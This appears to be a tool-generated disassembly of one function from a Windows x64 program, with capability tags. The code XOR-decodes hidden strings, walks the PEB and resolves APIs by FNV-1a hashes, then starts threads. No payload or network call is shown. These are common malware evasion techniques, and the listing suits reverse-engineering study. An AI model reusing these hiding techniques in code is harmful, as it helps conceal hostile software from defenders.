Function at 0x140138f80
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1d0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1402e8018]
xor rax, rsp
mov qword [rbp + 0xb0], rax
xor r12d, r12d
call fcn.140139a10
call fcn.14013a890
mov rbx, rax
call fcn.14013a890
mov rdx, qword [rax + 0x38]
add rdx, 0x2226d48
mov rcx, rbx
call fcn.14013d030
movss dword [0x1402f0af0], xmm0
movss xmm6, dword [0x1402b8244]
movabs rsi, 0x3a66770ff59fab8c
movabs rdx, 0xa2df8966e73b723
movabs r14, 0x577fbdc626289729
movabs r8, 0x2ffd433a0694ed8
movabs r9, 0xed8bc2345251ef9d
movabs r13, 0xf451ae79e8295462
movabs r15, 0x1f3423d245886ee7
comiss xmm6, xmm0
jbe 0x140139160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x60], rax
movabs rax, 0x4bab9d72f74963f8
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
movabs rax, 0xaaab907b1471a8d3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
movabs rax, 0xb671e12dc86c1923
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x78], rax
movabs rax, 0x1f340dfc0bc129a2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x30], rdx
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x50], rax
mov qword [rsp + 0x30], r8
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x58], rax
mov qword [rsp + 0x30], r9
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x30], r13
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x78], rax
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
pxor xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x80], xmm0
lea rdx, [rsp + 0x60]
call fcn.14003f200
nop dword [rax + rax]
cmp qword [0x1402f10b8], 0
jne 0x1401391ca
mov ecx, reloc.WS2_32.dll_recv
call fcn.14022033c
mov rdi, rax
mov qword [rsp + 0x30], rax
mov qword [rax], r12
mov dword [rax + 8], r12d
mov word [rax + 0xc], 0
mov rbx, qword [0x1402f1178]
call fcn.14013a890
lea rdx, [rbx + 0x80]
mov rcx, rax
call fcn.14013ce40
mov rbx, rax
call fcn.14013a890
lea rdx, [rbx + 0x30]
mov rcx, rax
call fcn.14013cec0
cmp eax, 0x1ff
setne al
mov byte [rdi + 0xd], al
mov qword [0x1402f10b8], rdi
call fcn.14013a890
mov rbx, rax
call fcn.14013a890
mov rdx, qword [rax + 0x38]
add rdx, 0x2226d48
mov rcx, rbx
call fcn.14013d030
movss dword [0x1402f0af0], xmm0
comiss xmm6, xmm0
ja 0x140139160
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x70], rax
movabs rax, 0x22ba9972e74963f8
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x68], rax
movabs rax, 0xe7abe37a0716aadf
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x60], rax
movabs rax, 0xd40cfc3cb8610f42
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x58], rax
movabs rax, 0x5660669f04cf4eca
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x50], rax
movabs rax, 0x3a464d5cbcbfeec1
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp - 0x48], rax
movabs rbx, 0xa2df8966e73b723
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x80], rax
movabs rdi, 0x2ffd433a0694ed8
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x88], rax
movabs r14, 0xed8bc2345251ef9d
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x90], rax
mov qword [rsp + 0x30], r13
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x98], rax
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0xa8], rax
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x50], xmm0
lea rdx, [rbp - 0x70]
call fcn.14003f200
movss xmm1, dword [0x1402f0af0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
call fcn.140128d80
cmp qword [0x1402f1160], 0
jne 0x14013979b
movabs rcx, 0xf451ae79e85a5406
movabs r15, 0xa4af8f76e16b76f
movabs r13, 0x290d470a00c4ead
movabs r12, 0xede5c255523ceff0
nop word [rax + rax]
mov qword [rsp + 0x30], r15
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r13
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x30], rax
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x38], rax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x40], rax
movabs rax, 0xf451ae79e8295462
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rbp + 0x48], rax
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x50], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov qword [rsp + 0x30], rcx
mov edi, ecx
add rdi, r10
cmp rdi, r10
je 0x1401394d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1401394d6
mov ebx, dword [rdi + 0x20]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8b38f854
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1401394d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1401394b0
cmp r8d, 0x8af3d589
je 0x1401394db
test r9d, r9d
jne 0x140139490
mov rax, qword [rax]
jmp 0x140139460
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
lea r8, [rsp + 0x40]
xor edx, edx
lea ecx, [rdx + 4]
call r9
mov r14, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140139757
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov qword [rsp + 0x30], rax
mov edi, eax
add rdi, r11
cmp rdi, r11
je 0x1401395a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1401395a6
mov ebx, dword [rdi + 0x20]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xf42f1043
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1401395a1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140139580
cmp r8d, 0xf872fbd9
je 0x1401395ab
test r9d, r9d
jne 0x140139560
mov rcx, qword [rcx]
jmp 0x140139530
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x20], 8
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, r14
call r10
mov rsi, rax
test rax, rax
je 0x1401396a7
mov rcx, qword [rax]
mov qword [0x1402f1160], rcx
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov qword [rsp + 0x30], rax
mov edi, eax
add rdi, r10
cmp rdi, r10
je 0x140139686
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140139686
mov ebx, dword [rdi + 0x20]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0xe1cde0f0
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140139681
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140139660
cmp r8d, 0xc94e6e39
je 0x14013968b
test r9d, r9d
jne 0x140139640
mov rcx, qword [rcx]
jmp 0x140139610
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov qword [rsp + 0x30], rcx
mov edi, ecx
add rdi, r10
cmp rdi, r10
je 0x140139736
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140139736
mov ebx, dword [rdi + 0x20]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x7ac8c19d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140139731
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140139710
cmp r8d, 0xc7a1191d
je 0x14013973b
test r9d, r9d
jne 0x1401396f0
mov rax, qword [rax]
jmp 0x1401396c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1402f1160], 0
movabs rcx, 0xf451ae79e85a5406
movabs rbx, 0xa2df8966e73b723
movabs rdi, 0x2ffd433a0694ed8
movabs r14, 0xed8bc2345251ef9d
je 0x1401393a0
xor r12d, r12d
call fcn.140139fd0
call fcn.140139aa0
mov rcx, rax
call fcn.1401aeab0
call fcn.140139aa0
mov rcx, rax
call fcn.1401af340
call fcn.140139aa0
mov rcx, rax
call fcn.1401af770
mov rax, qword [0x1402f10d0]
test rax, rax
jne 0x14013980f
mov ecx, 0x88
call fcn.14022033c
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x70], xmm0
mov qword [rax + 0x80], rcx
mov qword [0x1402f10d0], rax
mov rcx, rax
call fcn.1401568b0
call fcn.1401959d0
call fcn.1400cb740
mov ecx, 8
call fcn.14022033c
lea rcx, [0x1401b20d0]
mov qword [rax], rcx
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14013a6f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x18], rax
test rax, rax
je 0x1401399fd
mov ecx, 8
call fcn.14022033c
lea rcx, [0x1401b1930]
mov qword [rax], rcx
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14013a6f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x1401399ed
mov ecx, 8
call fcn.14022033c
lea rcx, [0x1401b24a0]
mov qword [rax], rcx
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14013a6f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x38], rax
test rax, rax
je 0x1401399dd
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movabs rsi, 0x7ffffffffffe795e
movabs rdi, 0x7fffffffffffffff
nop dword [rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 8]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140139972
nop
lea rcx, [rbp - 8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 8]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140139940
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140139990
imul rax, rax, 0x64
jmp 0x1401399ae
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rax, rsi
jg 0x1401399cb
add rax, 0x186a0
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x40]
call fcn.14006a5d0
jmp 0x140139920
mov qword [rbp - 0x40], rdi
lea rcx, [rbp - 0x40]
call fcn.14006a5d0
jmp 0x140139920
mov dword [rbp - 0x30], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x20], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x10], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3